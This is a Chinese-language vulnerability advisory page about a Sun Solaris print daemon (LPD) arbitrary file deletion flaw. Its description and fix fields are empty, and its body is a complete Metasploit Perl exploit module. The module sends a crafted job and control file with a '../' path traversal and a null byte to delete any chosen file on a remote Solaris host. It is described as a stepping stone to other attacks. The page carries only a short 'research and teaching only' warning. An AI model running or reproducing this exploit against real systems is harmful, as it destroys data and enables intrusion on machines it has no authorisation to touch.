Sun Solaris Printd任意文件删除漏洞

信息提供：

漏洞类别：

攻击类型：

发布日期：

更新日期：

受影响系统：

安全系统：

无

漏洞报告人：

漏洞描述：

    
测试方法：

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::solaris_lpd_unlink;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name'        => 'Solaris LPD Arbitrary File Delete',
'Version'    => '$Revision: 1.6 $',
'Authors'    =>
[
'H D Moore ',
'Optyx '
],
'Arch'        => [ ],
'OS'        => [ 'solaris' ],
'UserOpts'  =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The LPD server port', 515],
'RPATH' => [1, 'DATA', 'The remote path name to delete'],
},
'Description'  => Pex::Text::Freeform(qq{
This module uses a vulnerability in the Solaris line printer daemon
to delete arbitrary files on an affected system. This can be used to exploit
the rpc.walld format string flaw, the missing krb5.conf authentication bypass,
or simple delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10.
}),
'Refs'  =>
[
['URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'],
],
'DefaultTarget' => 0,
'Targets' => [['No Target Needed']],
'Keys'  => ['lpd'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_path = $self->GetVar('RPATH');
my $res;
# We use one connection to configure the spool directory
my $s = Msf::Socket::Tcp->new
(
'PeerAddr'  => $target_host,
'PeerPort'  => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL'       => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
# Send a job request that will trigger the cascade adaptor (thanks Dino!)
$s->Send("\x02"."metasploit:framework\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our job request command");
return;
}
# The job ID is squashed down to three decimal digits
my $jid = ($$ % 1000).unpack("H*",pack('N', time() + $$));
# Create a simple control file...
my $control = "Hmetasploit\nPr00t\n";
# Theoretically, we could delete multiple files at once, however
# the lp daemon will append garbage from memory to the path name
# if we don't stick a null byte after the path. Unfortunately, this
# null byte will prevent the parser from processing the other paths.
$control .= "U".("../" x 10)."$target_path\x00\n";
my $dataf = "http://metasploit.com/\n";
$self->PrintLine("[*] Sending the malicious cascaded job request...");
if ( ! $self->SendFile($s, 2, "cfA".$jid."metasploit", $control) ||
! $self->SendFile($s, 3, "dfa".$jid."metasploit", $dataf)  ||
0
) { $s->Close; return }
$self->PrintLine('');
$self->PrintLine("[*] Successfully deleted $target_path >:-]");
return;
}
sub SendFile {
my $self = shift;
my $sock = shift;
my $type = shift;
my $name = shift;
my $data = shift;
$sock->Send(chr($type) .length($data). " $name\n");
my $res = $sock->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our control file command ($name)");
return;
}
$sock->Send($data);
$sock->Send("\x00");
$res = $sock->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our control file data ($name)");
return;
}
$self->PrintLine(sprintf("[*]     Uploaded %.4d bytes >> $name", length($data)));
return 1;
}
1;

解决方法：